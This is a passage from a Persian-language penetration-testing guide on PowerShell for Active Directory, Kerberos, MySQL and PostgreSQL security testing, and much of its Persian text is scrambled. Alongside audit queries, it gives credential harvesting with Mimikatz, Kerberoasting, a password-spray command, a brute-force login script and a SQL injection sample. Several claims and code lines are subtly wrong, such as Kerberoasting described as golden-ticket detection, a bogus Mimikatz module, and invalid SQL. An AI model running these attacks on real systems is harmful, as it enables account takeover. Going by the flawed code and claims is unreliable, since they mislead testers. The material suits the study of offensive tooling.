PowerShell  برا ی م تراف  یتواند  بر  شود.    ا ی  یرعاد یغ  یهات یفعال  ی برا  LDAP  ک ینظارت  استفاده  مشکوک 

مرتبط   یدادهایرو  یبرا  دادهایگزارش رو لیو تحل  هیتوانند به شما در تجزی م   Get-WinEventمانند   ییابزارها

 کمک کنند:  LDAPبا 

Get-WinEvent -LogName 'Security' | Where-Object { $_.Id -eq 2887 } 

که ممکن است نشان    کند،ی م   ی ابیرا باز  LDAPاتصال کانال    ی خراب  ی حاو  ی تیامن   دادیرو  یهادستور گزارش   نیا

 باشد. رمجازیغ  یدسترس  یهادهنده تلاش 

Testing LDAP with LDAPS 

LDAP  قیاز طر  SSL    که باLDAPS   سرویس    یرکتور ی به دا  یدسترس   یامن برا  یراه شودشناخته می

شده است استفاده    ی کربند یپ  ی به درست  LDAPS  ایآ   نکه یا  د ییتأ  ی توان برا ی م  PowerShellاست. از  

 است: بدین منظور آورده شده  مثال  ک ی نجایکرد. در ا
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Test-NetConnection -ComputerName ldap.snowcapcyber.com -Port 636 

بررس   نیا آ ی م  ی دستور  م  636پورت    ی رو  LDAPS  س یسرو  ایکند که    ی برا  د یبا  LDAPS.  ریخ  ا یشود  ی اجرا 

 استفاده شود. شتریب ت یامن یبرا  LDAP کی تراف ی رمزگذار

Identifying anomalies with PowerShell scripts 

  ADدر    ی احتمال  ی تیامن  یهاها و نقض ی ناهنجار  ییشناسا  ی توان برای را م  یسفارش   PowerShell  یهاپتیاسکر

  رمعمول یورود غ  یکه به طور منظم الگوها  د یکن  جادیا  پتیاسکر  کی  د یتوانی کرد. به عنوان مثال، م  جاد یا  LDAPو  

 کند:ی هشدار ارسال م ،ییشناسا صورتورود، و در   یتلاش ناموفق برا نی کند، مانند چند ی م  یرا بررس 

$threshold = 3 
$logPath = "C:\Logs\FailedLogins.log" 
$failedLogins = Get-WinEvent -LogName 'Security' | Where-Object { 
$_.Id -eq 4625 } 
if ($failedLogins.Count -ge $threshold) { 
     $failedLogins | Out-File -Append $logPath 
     Send-MailMessage -To 'admin@snowcapcyber.com' -From 'alerts@ 
snowcapcyber.com' -Subject 'Security Alert: Multiple Failed Logins 
Detected' -Body "Multiple failed login attempts detected. Check 
$logPath for details." 
} 

کند و در صورت  ی ورود ناموفق نظارت م  ی بار تلاش برا  نیچند   یرا برا   Security Event Log  پتیاسکر  نیا

 کند.ی تجاوز از آستانه، هشدار ارسال م

PowerShell  یهاس یدر برابر سرو  یتی امن  یهاانجام تست  یابزار ارزشمند برا  کی  AD    وLDAP    است. با استفاده

ا اسکر  نیاز  و  امنPowerShell  یهاپت یدستورات  آس   توانند ی م  ی تی، متخصصان  فعال  را    هایریپذ ب یبه طور 

  ی رکتوریدا  ت یکنند و فعال  ی زیرا مم  ه گرو  یهاتیکنند، عضو  ی ابیرا ارز  ی حساب کاربر  تیکنند، امن  ییشناسا

و مقررات قابل اجرا    نیبا مجوز مناسب و مطابق با قوان  شاتیآزما  نیحال، انجام ا  نی را نظارت کنند. با اسرویس  

ها کمک کند  تواند به سازمانی م  LDAPو    AD  یهای کربند یمنظم پ  یساز  منیو ا  یزیاست. مم  یضرور

 دفاع کنند. یاحتمال داتیکرده و در برابر تهد   تیتقو ا خود ر  سرویس  ی رکتوریدا  تیتا امن
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PowerShell and Kerberos 

PowerShell  در برابر    یت یامن  یهااز تست   یاگسترده   ف یانجام ط  ی تواند به طور موثر برای مKerberos   که  

  ی را برا   PowerShellاستفاده از    ی بخش، چگونگ   نیاستفاده شود. در ااست،    پرکاربرد  ت یپروتکل احراز هو  کی

 کرد.   م یخواه  ی بررس   یدفاع  ستم یس   تیو تقو  هایریپذ بی آس   یی، شناساKerberos  یهایسازاده یپ  ت یامن  یابیارز

Kerberos  احراز هو  کی رمزنگار  تیپروتکل  از  کاربران و    تیاحراز هو  یبرا   secret-key  یشبکه است که 

به دل  رودی به کار م   ندوز یبر و  یمبتن  یهاط یاز مح  یاریدر بس  نیکند. ای در شبکه استفاده م  هاسرویس   لیو 

  تواند ی م  Kerberos  ،یگری د  ی حال، مانند هر فناور   نی شناخته شده است. با ا  ، خود  ی قو  یت یامن  یهاسمیمکان

م  ییهایریپذ ب یآس   یدارا که  گ  توانند ی باشد  قرار  استفاده  سوء  مورد  مخرب  عوامل  مرند ی توسط  از  ی .  توان 

PowerShell  ها به طور فعال استفاده کرد. یریپذ بیآس  نی کشف ا یبرا 

The enumeration of Kerberos tickets 

PowerShell     مانند  دستوراتیGet-KerberosTicket  دهد ی اجازه م  تست نفوذگران که به    کند ی را ارائه م  

Ticketیها  Kerberos    ارزشمند   شناساییرا بردارها  یکنند و اطلاعات  حمله    ی را در مورد جلسات فعال و 

 آشکار کنند:  ،یاحتمال

Get-KerberosTicket | Format-Table -Property UserName, ServiceName, 
StartTime, EndTime 

احراز    هاس یکاربران و سرو  نکه یدر مورد ا  ی و اطلاعات  کند ی فعال را فهرست م  Kerberos  یهاTicketدستور    نیا

 .دهد ی را ارائه م شوند ی م  یمنقض هاط یبل نی که ا  یو زمان شوند ی م تیهو

Service Principal Name (SPN) enumeration 

برای م  PowerShellاز   سرو  یهاSPNکشف    یتوان  با  براس یمرتبط  که  کرد  استفاده  هو  ی ها    ت یاحراز 

Kerberos  مهم هستند. مهاجمان ممکن است    اریبسSPNرمجاز یغ  یدسترس   ی نادرست را برا  ی کربند یپ  یها  

و  ها Service Accountفهرست کردن    ی برا Get-ADServiceAccountاز  توانید شما می هدف قرار دهند. 

SPN  د یاستفاده کن هاآن : 
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Get-ADServiceAccount -Filter * 

 نادرست کمک کند. یکربند یپ ای ی رضروریغ SPNهر گونه  ییتواند به شناسای م نیا

Credential harvesting with Mimikatz 

Mimikatz  ،در بخش  ابزار قدرتمند    ک یPost Exploitation   استخراج    ی تواند برای م  است کهCredentialها 

برداشت    یآن برا   یبه عملکردها  د یتوانی ، م Mimikatzماژول    فراخوانی ادغام شود. با    PowerShellاز حافظه در  

Credential از جمله ،Ticketیها Kerberos   د یداشته باش  یدسترس: 

Invoke-Mimikatz -Command '"ajcblyth::tickets"' 

قرار    ش یعبور متن ساده را در معرض نما  ی شده و رمزها  ره یذخ  Kerberos  یهاTicketتواند  ی م دستور    نیا

 .دهد 

Detecting golden ticket attacks 

که    ده یچیپ  د یبردار تهد   ک یاستفاده کرد،    Golden Ticketحملات    ییشناسا  یتوان برا ی م   PowerShellاز  

مهاجم   آن  م  Kerberos (TGT)  ط یبل  یاعطا  ط ی بل  کیدر  جعل  ابزارهای را  مانند    ییکند. 

PowerShellMafia/PowerSploit   برا  ییهاماژول شناساTGT  یکپارچگ ی  ی بررس   یرا  و  خطرات   ییها 

 دهند: ی ارائه م یالاحتم

Import-Module PowerSploit 
Invoke-Kerberoast 

م  ریپذ بیآس   یهاTGTدستور    نیا آفلای را که  به صورت  بررس   نیتوانند  به شناسای م  یکرک شوند،  و    ییکند 

 کند.ی کمک م یحملات احتمال

Kerberos ticket renewal analysis 

Ticketیها  Kerberos   یهاپتی. اسکرشوند ی م  د یمعمولاً در طول جلسه کاربر تمد  PowerShell  

از    د یتوانی ها را برجسته کنند. به عنوان مثال، می و ناهنجار  نموده را نظارت    هاTicket  د یتوانند تمد ی م

New-TimeSpan  د یصدور و تمد  ن یمحاسبه مدت زمان ب یبرا Ticketد یاستفاده کن ها: 
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$ticket = Get-KerberosTicket 
$renewalDuration = (New-TimeSpan -Start $ticket.StartTime -End 
$ticket.EndTime).TotalMinutes 
if ($renewalDuration -gt 1440) { 
     Write-Host "Abnormally renewal detected." 
} 

 باشد کمک کند. رمجازیغ ی که ممکن است نشان دهنده دسترس  یجلسات طولان ییتواند به شناسای م نیا

Analyzing event logs 

PowerShell  تواند  ی مWindows Event Log   مشکوک مرتبط با   یدادهایرو  ییشناسا  یرا براKerberos  

  Security Event Log  لی و تحل  ه یکردن و تجز  لتر یف  ی توان برا ی را م  Get-WinEventکند.    (Parse)  ه یتجز

 خاص استفاده کرد:  Kerberos  یدادهایرو یبرا

Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4769 } 

را    یرعادیغ  یهات یفعال  ر یسا  ای  ت یاحراز هو  ی ناموفق برا  یهاتا تلاش   دهد ی اجازه م  یتی به متخصصان امن  نیا

 کنند. ییشناسا

Password spray attacks 

برای م   PowerShellاز   ابزارها  Kerberos  هی عل  Password Sprayانجام حملات    یتوان    یی استفاده کرد. 

استفاده    ف یاعتبار ضع  ییقدرت رمز عبور کاربر و شناسا  شی آزما  ی توان برای را م  InvokeSprayKerberosمانند  

 کرد: 

Invoke-SprayKerberos -UserList users.txt -Password Summer2023 -Domain 
snowcapcyber.com 

 برجسته شوند.  رند یتوانند مورد سوء استفاده قرار گی که م ف یعبور ضع یهاکند تا کاربران با رمزی کمک م نیا

PowerShell    یساز  اده یدر برابر پ  ی تیامن  یهاانجام تست   یبرا   ی ابزار همه کاره و ضرور  ک یبه عنوان  

Kerberos  م قابلی عمل  از  استفاده  با  امن  یهات یکند.  متخصصان  فعال  ی م   ی تیآن،  طور  به  توانند 
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امن  ییبالقوه را شناسا  داتی، تهد نموده  ییها را شناسایریپذ بیآس  افزا  رساختی ز  تیکنند و    شیشبکه خود را 

و   نیبا مجوز مناسب و مطابق با قوان د یبا شهیهم یتینکته مهم است که تست امن نی حال، توجه به ا نیدهند. با ا

  ی نقش   تواند ی م  ،هایو نظارت بر ناهنجار  Kerberos  یها ی کربند یمنظم پ  یزیمقررات قابل اجرا انجام شود. مم

 داشته باشد. رمجازیغ یاز دسترس  ی ریحساس و جلوگ تیهو احراز  یهاسمیدر حفاظت از مکان یاتیح

Summary 

  ق یپرداخت. از طر   LDAPو    SMB  ،ADدر تست نفوذ در    PowerShell  یچندوجه  یفصل به کاربردها  نیا

مثال   یامجموعه  داد  ،یعمل  یهااز  نشان  چگونه    م یما  ابزار   PowerShellکه  عنوان    ی برا  ی ضرور   ی به 

Enumeration  ،ی سازمان  یهاشبکه   یاتیح  یها مؤلفه   نیدر ا  هایریپذ بی از آس   ی بردارو بهره   پروفایل سازی  

 .کند ی عمل م

 یهاگاه یدر برابر پا  یریپذ ب یآس   ی ابیاز ارز  ی به عنوان بخش  PowerShellدر مورد نحوه استفاده از    ،ی بعد در فصل  

  MySQLو    Microsoft SQL  ،PostgreSQLبه    یاژه یتوجه ودر بخش بعدی  آموخت.    م یخواه  SQLداده  

 خواهد شد. 
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 Databases: MySQL, PostgreSQL and MSSQL  - فصل هفتم
  ی متنوع  ف ینفوذ در ط  یهاانجام تست  ی ابزار قدرتمند برا  کی به عنوان    PowerShell  لیفصل، ما از پتانس  ن یدر ا

،  MySQLداده برجسته مانند   گاهیپا یهاستم یس  ی . تمرکز ما بر رومیکنی م ی پرده بردار SQLداده   یهاگاهیاز پا

PostgreSQL و ،Microsoft SQL Server   را   ی عمل یهااز مثال  یادنباله  افته، یساختار کرد یرو کیاست. در

 .کند ی حمله مختلف را روشن م ی که بردارها م یکنی ارائه م

آن شهرت دارد. از    یی و کارا  یریپذ اس یخاطر مقکه به   یاداده رابطه   گاهیپا  ک ی  شود،ی آغاز م  MySQLسفر ما با  

را هنگام اعمال بر    PowerShellکننده  قانع   یهاتیما قابل  ،یعمل  یهاش یو نما  یواقع   ی ایدن  ی وهایسنار  قیطر

 . میکنی آشکار م  MySQLداده  یهاگاهیپا

و توسعه    یر یانعطاف پذ   لی که به دل  ی داده منبع باز قو  گاهیپا  ت یریمد   ستمی، س PostgreSQLمتعاقباً، ما به  

که    افت، ی  د یروشنگر را خواه  ی از مطالعات مورد   یامجموعه   ، ی بعد   یها. در بخش میپردازی معروف است، م   یریپذ 

م  PostgreSQL  ی تیامن  یهای دگیچیپ استفاده    PowerShellاز قدرت    همگی  که   ی در حال  کند،ی را آشکار 

 .کنند ی م

  یسازمان  یهاط یمح  ی، سنگ بناMicrosoft SQL Serverما را به قلمرو    در این فصل،  کاوش ما  ت،یدر نها

  PowerShellاز    توانی که چگونه م میدهی ما نشان م  ،یعمل  یهاروشنگرانه و مثال   یماهاراهن قیبرد. از طری م

 استفاده کرد.  SQL Server ی هاInstance  تیامن ش یو افزا  قیدق ی بررس  یبرا

ا در  را  ما  که  همراه  ن یهمانطور  روشنگر  قابل  ی ق یعم  نش یب  د،یکنی م  ی سفر  مورد  نفوذ    یهاتیدر  تست 

PowerShell  ت یو تقو  هایریپذ بیکشف آس   ،یابیارز  ی ها و دانش براآورد و شما را با مهارت  د یبه دست خواه  

حملات مختلف مجهز    ابردر بر  Microsoft SQL Serverو    MySQL  ،PostgreSQLداده    یهاگاهیپا  تیامن

  PowerShellداده با    گاهیتست نفوذ پا  یایورود به دن  ی فصل به عنوان دروازه شما برا  نیا  ی. بردارهاکند ی م

 شود.ی داده روبرو م گاهیپا ت یبا امن یکه تخصص عمل ییاست، جا

 فصل آمده است:  نیدر ا یمورد بررس  یموضوعات اصل ر یدر ز

• Accessing SQL databases using PowerShell 

• PowerShell and MySQL 

• PowerShell and PostgreSQL 

• PowerShell and Microsoft SQL (MSSQL) 
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Accessing SQL databases using PowerShell 

 SQL  از Instance  کیارتباط با  یشامل برقرار  PowerShellبا استفاده از  SQLداده   یهاگاهیبه پا یدسترس 

Serverدستورات    ایجوها  وپرس   ی ، اجراSQL  است.    جیو پردازش نتاPowerShell   روش و ماژول را    ن یچند

  ون یو اتوماس   تیریمد   یکاره برا  همه  یدهد که آن را به ابزار ی ارائه م  SQL Server  یهاداده   گاهیتعامل با پا  یبرا

 کند.ی م  لیداده تبد  گاهیپا

PowerShell and MySQL 

  MySQLداده    یهاگاهیمحرمانه بودن و در دسترس بودن پا  ، یکپارچگ یاز حفظ    ریناپذ   ییجدا  ی بخش  ت یتست امن

  کروسافت، یتوسط ما  افتهیتوسعه    ونیهمه کاره و چارچوب اتوماس   ی سیزبان برنامه نو  ک ی،  PowerShellاست.  

داده    یهاگاه یها در پای ریپذ بیو رفع آس  ییشناسا  ،یابیارز  ی برا  یت یمتخصصان امن  ی برا  ی تواند ابزار قدرتمند ی م

MySQL  ا ، از جمله  PowerShellبا استفاده از    ی تیمختلف تست امن  یهاجامع، جنبه   یراهنما  ن یباشد. در 

تأ  ،یریپذ بیآس   یابیارز نفوذ،  را    MySQL  یسازمنیا  ی براها    Best Practiceو    یکنترل دسترس   د ییتست 

 کرد.  م یخواه یبررس 

Connecting to MySQL with PowerShell 

هر    ای  MySQL .NETاز رابط    د یتوانی . مد یاتصال برقرار کن  ک ی  د ی، ابتدا باMySQLداده    گاهیتعامل با پا  یبرا

به پا  ی مثال   نجا ی. در اد ی کتابخانه مناسب استفاده کن اتصال  از    MySQLداده    گاهیاز    PowerShellبا استفاده 

 آورده شده است:

Add-Type -Path "C:\Path\To\MySql.Data.dll" 
$connectionString = 
"Server=localhost;Database=mydb;Uid=myuser;Pwd=mypassword;" 
$connection = New-Object MySql.Data.MySqlClient.MySqlConnection 
$connection.ConnectionString = $connectionString 
$connection.Open() 

در    ت یتست امن  ی برا  PowerShellتوان از  ی که چگونه م  م یکن  ی بررس   د ییایب   م،یابرقرار کرده   اکنون که ارتباط 

را که    SQLدستورات    میتوانی م  م،یمتصل شد   MySQLداده    گاهیکه به پا  یاستفاده کرد. هنگام  MySQLبرابر  

 . می اجرا کن دهند،ی م  لیرا تشک ی تیتست امن کی از  یبخش
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اجرا  MySQLداده    گاهیپا  ی برا  یت یامن  یابیارز شامل  بررس کوئری   ی معمولاً  و    ییشناسا  ی برا  SQL  یهایها 

  ی ابیخاص مورد استفاده ممکن است بسته به دامنه ارز  یهاکوئری است.    نادرست   یها ی کربند یپ  و  هایریپذ بیآس 

وجود دارد که به عنوان    SQL  جیرا  یهای ها و بررس کوئری از    ی برخ  نجایاسازمان متفاوت باشد. در    ی تیو الزامات امن

 شود: ی استفاده م MySQL ی برا  یت یامن یابیاز ارز  یبخش

User and privilege assessment 

 :MySQLکردن کاربران   ستیل

SELECT user, host FROM mysql.user; 

 کاربر:   ازاتیامت یبررس 

SHOW GRANTS FOR 'username'@'hostname'; 

 از حد:  شیب  ازاتیکاربران با امت ییشناسا

SELECT user, host FROM mysql.user WHERE SUPER_PRIV='Y'; 

Password policy assessment 

 رمز عبور:  یخط مش ماتیمشاهده تنظ  ی پرس و جو برا

SHOW VARIABLES LIKE 'validate_password%'; 

Auditing and logging 

 : ریخ ایفعال است  MySQL ی عموم کوئریگزارش   ایآ نکه یا یبررس 

SHOW VARIABLES LIKE 'general_log'; 
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 : ریخ ایفعال است  MySQLکند   یگزارش جستجو  ایآ نکه یا یبررس 

SHOW VARIABLES LIKE 'slow_query_log'; 

Network and firewall configuration 

 :  MySQL bindآدرس  یبررس 

SHOW VARIABLES LIKE 'bind_address'; 

 مجاز:  زبانیاتصالات م ستیل بررسی

SELECT host, user FROM mysql.user WHERE host NOT LIKE 
'localhost'; 

Vulnerability scanning 

 : MySQLنسخه  یبررس 

SELECT VERSION(); 

 : های شناخته شدهپذیریشناسایی آسیب

SELECT * FROM information_schema.plugins WHERE plugin_name LIKE 
'%vulnerable%'; 

Access control verification 

 از حد مجاز:  ش یب یداده با مجوزها یهاگاهیپا ییشناسا

SELECT DISTINCT table_schema FROM information_schema.tables 
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WHERE table_privileges = 'Select,Insert,Update,Delete'; 

 : Wildcard Hostnameکاربران با نام  یبررس 

SELECT user, host FROM mysql.user WHERE host='%'; 

Data protection and encryption 

 :SSL/TLSفعال بودن  یبررس 

SHOW VARIABLES LIKE 'have_ssl'; 

 شده:  یکردن اتصالات رمزگذار ستیل

SHOW STATUS LIKE 'Ssl_cipher'; 

Backup security 

 کاربران:   یری گ بان یپشت یمجوزها یبررس 

SELECT user, host FROM mysql.user WHERE File_priv = 'Y'; 

SQL injection testing 

 (:یشیاهداف آزما  ی)برا SQL قیتزر هی تلاش اول  کی  یساز هیشب

SELECT * FROM Products WHERE ProductID = '1 OR 1=1; --'; 

Brute-force detection 

 ورود:  یهانظارت بر تلاش 
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SELECT user, host FROM mysql.user WHERE failed_login_attempts > 
0; 

  MySQL  ی برا  یت یامن  یاب یاز ارز  ی توانند بخشی هستند که م  SQL  جیرا  یهایو بررس   هاکوئری از    یبرخ  نهایا

و ابزارها    ،یابیسازمان، دامنه ارز  ی تیامن  یهایمشخاص مورد استفاده ممکن است بر اساس خط   هایکوئری باشند.  

به منظور  متفاوت باشد.    دهند،ی را انجام م  یابیزکه ار  یت یبه کار گرفته شده توسط متخصصان امن  یهاپت یو اسکر

 است. ی ها و کسب مجوز مناسب ضرور  Best Practice از  یروی، پییهای ابیارز نیانجام چن

Vulnerability assessment 

ارز  ییشناسا  ند یفرآ   یریپذ بیآس   یابیارز در    ی تیامن  یهایریپذ بی آس   یابیو  است.    ستمیس   ک یبالقوه 

PowerShell  ط ی شناخته شده در مح   یهای ریپذ بیآس   یمرحله با بررس   نی تواند در ای م  MySQL    شما کمک  به

 کند.

Version scanning 

تواند ی م   PowerShellتوانند مختص نسخه باشند.  یها میریپذ ب یآس   رایاست ز  یضرور   MySQLنسخه    نییتع

 اطلاعات نسخه جستجو کند: یابیباز یداده را برا  گاهیپا

$command = $connection.CreateCommand() 
$command.CommandText = "SELECT VERSION();" 
$version = $command.ExecuteScalar() 
Write-Host "MySQL Version: $version" 

Penetration testing 

برا  بردار  یتست نفوذ شامل تلاش فعالانه  برابر    ستم یمقاومت س   ی ابیارز  به منظور ها  یریپذ بی از آس   ی بهره  در 

استفاده    MySQL  یتیامن  ت یوضع  یابیحملات و ارز  یساز  ه یشب  یتوان برا ی م  PowerShellحملات است. از  

 کرد. 

SQL injection testing 

  SQL  ق یتواند حملات تزری م  PowerShellوب است.    یهابرنامه   جیرا  یریپذ ب یآس   کی   SQL  قیتزر

  ه یدر برنامه شما شب  ی احتمال  یهایریپذ بیسوء استفاده از آس   ی مخرب برا   ی پرس و جوها  جاد ی را با ا

 کند.  یساز
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Brute-force attacks 

قدرت    ش یآزما  ی را برا   MySQL  یهاحساب  ه ی عل  brute-forceحملات    توانند ی م  PowerShell  یهاپتیاسکر

  ی و رمز عبور را برا  ینام کاربر  کیدهد  ی به ما امکان م   PowerShell  ر یخودکار کنند. مثال ز  ، کاربر  یهاگذرواژه 

 .  میکن  شیداده آزما گاهیاتصال به پا

$server = "localhost" 
$database = "your_database" 
$username = "your_username" 
$password = "your_password" 
$connectionString = 
"server=$server;database=$database;uid=$username;pwd=$password;" 
try { 
      $connection = New-Object System.Data.SqlClient.SqlConnection 

     $connection.ConnectionString = $connectionString 
     $connection.Open() 
     if ($connection.State -eq [System.Data.ConnectionState]::Open) { 
          Write-Host "MySQL Connection Successful"} 
     else { 
          Write-Host "Failed to connect to MySQL."} 
     $connection.Close() } 
catch { 
     Write-Host "An error occurred: $_"} 

  ست ی. لمیشبکه انجام ده سیسرو   کی هی عل  brute-forceحمله   کی  م یتوانی و رمز عبور، م ینام کاربر   رییبا تغ

 خواند. ل یفا ک یاز  ایمشخص کرد   ستیل  کی توان در ی عبور را م ی رمزها/یکاربر یهانام

Access control verification 

کنترل   نانیاطم برا  یدسترس   یهااز  ح  گاهیپا  ت یامن  ی مناسب  به  ی م  PowerShellاست.    ی اتیداده  تواند 

 کمک کند.  MySQLکاربر در سرور  یهاو نقش  ازاتیامت یاعتبارسنج

Listing MySQL users 

از    یستیل  یابیباز  یبرا  mysql.user MySQLجستجو در جدول    یبرا  PowerShellاز    د یتوانی م

 :د یها استفاده کنآن  ازات یکاربران و امت
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$command = $connection.CreateCommand() 
$command.CommandText = "SELECT user, host FROM mysql.user;" 
 
$users = $command.ExecuteReader() 
 
while ($users.Read()) { 
     Write-Host "User: $($users["user"])@($users["host"])" 
} 
$users.Close() 

Checking user privileges 

PowerShell  کاربر خاص   کیاختصاص داده شده به   ازاتیامت د ییتأ ی تواند برای مMySQL  :استفاده شود 

$command.CommandText = "SHOW GRANTS FOR 'myuser'@'localhost';" 
$privileges = $command.ExecuteReader() 
while ($privileges.Read()) { 
     Write-Host "Privilege: $($privileges[0])"} 

خاص استفاده    ینام کاربر   ک یمرتبط با    ازاتیپرس و جو از امت   یشده برا   فی تعر  SQLتابع    کی ما از    ، یدر کد قبل

 . بدست آوریمخاص کاربر را  اتیجزئ میتوانی م  ،ینام کاربر ن یا ریی. با تغ میکنی م

Security policy testing 

MySQL   را اعمال کنند.    یتیامن  ماتیها و تنظاستیدهد تا س یاجازه م   رانیبه مدPowerShell  یابیارز  تواند ی م  

 هماهنگ هستند. هاوه یش  نیحاصل شود که با بهتر نانیطور خودکار انجام دهد تا اطمرا به  هایمشخط  نیا

Password policy assessment 

خط    ماتیتنظ  یابیارز  یرا برا  MySQLتواند  ی م  PowerShellمهم است.    اریرمز عبور بس  یهااستیس   یابیارز

 پرس و جو کند:  ی رمز عبور فعل یمش
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$command.CommandText = "SHOW VARIABLES LIKE 'validate_password%';" 
$passwordPolicy = $command.ExecuteReader() 
while ($passwordPolicy.Read()) { 
     Write-Host "Setting: $($passwordPolicy["Variable_name"]), Value: 
$($passwordPolicy["Value"])"} 

SSL/TLS configuration 

در حال انتقال به    یهاحاصل شود که داده   نانیباشد تا اطم  SSL/TLS  یکربند یپ  یاب یشامل ارز  د یبا  یتیتست امن

 شوند:ی محافظت م ی اندازه کاف

$command.CommandText = "SHOW VARIABLES LIKE 'have_ssl';" 
$sslEnabled = $command.ExecuteScalar() 
Write-Host "SSL/TLS Enabled: $sslEnabled" 

استفاده    Policy Statement  یآشکارساز  ی برا   PowerShellشده در    ه ی تعب  SQLما از دستورات    ، ی در کد قبل

  SSLرمز عبور و استفاده از  ی مربوط به استفاده از خط مش ها  Policy Statement ن ی. به طور معمول، اکردیم

 است. 

Data protection and encryption 

برای م  PowerShellاز   در    یساز  ادهیپ  Encryptionو    Data Protectionسطح    یابیارز  یتوان  شده 

MySQL  .استفاده کرد 

Data encryption 

را  داده   MySQL  ایآ  نکه یا  ی بررس   یبرا  PowerShellاز    د یتوانی م انتقال    At Restبه صورت  ها  در حال  و 

 : د یاستفاده کن ر یخ ایکند ی م ی رمزگذار

$command.CommandText = "SHOW VARIABLES LIKE 'innodb_encrypt%' OR 
'encrypt%';" 
$encryptionSettings = $command.ExecuteReader() 
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while ($encryptionSettings.Read()) { 
     Write-Host "Setting: $($encryptionSettings["Variable_name"]), 
Value: $($encryptionSettings["Value"])"} 

Backup security 

  ی و مجوزها   ماتیتنظ  یبررس   یتوان برای م  PowerShellمهم است. از    MySQL  ی ریگ  بانیپشت  تیامن  یابیارز

 استفاده کرد:  بانیپشت

$command.CommandText = "SHOW VARIABLES LIKE 'secure_file_priv';" 
$backupSecurity = $command.ExecuteScalar() 
Write-Host "Backup Security: $backupSecurity" 

.  کردیمداده استفاده  گاهیپا کیسطح حفاظت مرتبط با   ییشناسا یبرا SQLو   PowerShellما از  ،یدر کد قبل 

 .میکن ی تمرکز م  یاستفاده از رمزگذار ی به طور خاص، ما بر رو

Logging and monitoring 

PowerShell  و نظارت    لاگ   ثبت  یهات یقابل  یابیتواند در ارزی مMySQL   و پاسخ به حوادث    ییشناسا  یبرا

 کمک کند.  یتیامن

Reviewing error logs 

از مسائل مربوط به    یاهرگونه نشانه  ی برا   MySQL  یخطا  یهاگزارش   یبررس   یبرا  PowerShellاز    د یتوانی م

 :د یاستفاده کن تیامن

$command.CommandText = "SHOW VARIABLES LIKE 'log_error';" 
$errorLogPath = $command.ExecuteScalar() 
$logs = Get-Content $errorLogPath 
Write-Host "Contents of MySQL Error Log:" 
Write-Host $logs 

PowerShell داده  یهاگاهیدر برابر پا ی تیامن یهاانجام تست  یابزار ارزشمند برا ک یMySQL   .است

  یهایریپذ بیبه آس   ی دگیو رس   ییشناسا  ،یاب یارز  یبرا   پتیو قابل اسکر  ریپذ انعطاف   کرد یرو  کی  نیا

اطم  یتیامن س   نانیو  استحکام  م  MySQLداده    گاهیپا  یهاستم یاز  ارائه  از  ی شما  استفاده  با  دهد. 
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خود را بهبود    MySQLداده   یهاگاهیپا  یت یامن  تیوضع توانند ی م  ی تی، متخصصان امنPowerShell  یهاتیقابل

 محافظت کنند.   یاحتمال داتیارزشمند در برابر تهد  یهابخشند و از داده 

PowerShell and PostgreSQL 

امن حفظ    ریناپذ   یی جدا  ی بخش  ت یتست  پا  ، یکپارچگ یاز  بودن  دسترس  در  و  بودن  داده    یهاگاهیمحرمانه 

PostgreSQL    .استPowerShell  ،توسط    افتهیتوسعه    ونیهمه کاره و چارچوب اتوماس   یسی زبان برنامه نو  کی

که  کروسافتیما قدرتمند ی م  است  ابزار  امن  ی برا  یتواند  رفع    ییاساشن  ،یابیارز  یبرا   یتیمتخصصان  و 

  یت یمختلف تست امن  یهاجامع، جنبه   یراهنما  نیباشد. در ا  PostgreSQLداده    یهاگاه یها در پایریپذ بیآس 

ها روش   ن یو بهتر  یکنترل دسترس   د ییتست نفوذ، تأ   ،یریپذ بیآس   ی ابی، از جمله ارزPowerShellبا استفاده از  

 کرد.  می خواه یرا بررس  PostgreSQL یسازمن یا یبرا

Introduction to PowerShell and PostgreSQL 

PowerShell  ت یریو مد  ون یاتوماس  ستم،ی س  ت یریمد  ی است که برا  یس یپوسته خط فرمان و زبان برنامه نو ک ی  

داده مختلف تعامل   یهاگاهیها و پاستم یتواند با س ی است و م ریتوسعه پذ  اریبس نیشده است. ا یطراح یکربند یپ

تست    یهاکند. قبل از پرداختن به جنبه ی م  لیتبد   یت یتست امن  یارزشمند برا  یداشته باشد و آن را به منبع 

 . میشروع کن PowerShellبا استفاده از  PostgreSQLداده  گاهیبا اتصال به پا د یاجازه ده ،یتیامن

Connecting to PostgreSQL with PowerShell 

اجرا  PostgreSQLداده    گاهیپا  ی برا  یت ینام  یابیارز شامل  بررس   ی معمولاً  و  جوها  و    ی برا  SQL  یهای پرس 

خاص مورد استفاده    یاست. پرس و جوها  ینگران  یهانه ی نادرست و زم  یهایکربند یپ  ها،یریپذ بیآس   ییشناسا

ارز دامنه  به  بسته  است  امن  یابیممکن  الزامات  ا  ی تیو  در  باشد.  متفاوت  و    یبرخ  نجا یسازمان  و جوها  پرس  از 

 شود: ی استفاده م PostgreSQL ی برا ی تیامن یابیاز ارز ی وجود دارد که به عنوان بخش SQL  جیرا یهایبررس 

User and privilege assessment : 

 :PostgreSQLکاربران   ستیل ی پرس و جو برا

SELECT username FROM pg_user; 

 کاربر:  ازاتیامت ی بررس  ی پرس و جو برا
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SELECT grantee, privilege_type, table_name FROM information_ 
schema.role_table_grants WHERE grantee = 'your_username'; 

 از حد: شیب ازاتیکاربران با امت  ییشناسا ی پرس و جو برا

SELECT usename, 
     CASE 
WHEN usesup = TRUE THEN 'Superuser' 
WHEN usecdb = TRUE THEN 'Create DB' 
WHEN usecat = TRUE THEN 'Update Catalog' 
ELSE 'No Excessive Privileges' 
     END AS privilege_type 
FROM pg_user 
WHERE usesup = TRUE OR usecdb = TRUE OR usecat = TRUE; 

Password policy assessment : 

 رمز عبور:  Policy ماتیمشاهده تنظ  ی پرس و جو برا

SELECT name AS "Parameter", setting AS "Value" FROM pg_settings 
WHERE name LIKE 'password%'; 

Auditing and logging : 

 : ریخ ایفعال است  PostgreSQL یگزارش پرس و جو عموم  ایآ نکه یا ی بررس  ی پرس و جو برا

SELECT 
     name AS "Parameter", 
     setting AS "Value" 
FROM pg_settings 
WHERE name = 'logging_collector'; 

 :ر یخ ایفعال است  PostgreSQL slow query log ایآ نکه یا ی بررس  ی پرس و جو برا
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SELECT 
     name AS "Parameter", 
     setting AS "Value" 
FROM pg_settings 
WHERE name IN ('log_statement', 'log_duration'); 

Network and firewall configuration: 

 : PostgreSQL bindآدرس  ی بررس  ی پرس و جو برا

SELECT 
     name AS "Parameter", 
     setting AS "Bind Address" 
FROM pg_settings 
WHERE name = 'listen_addresses'; 

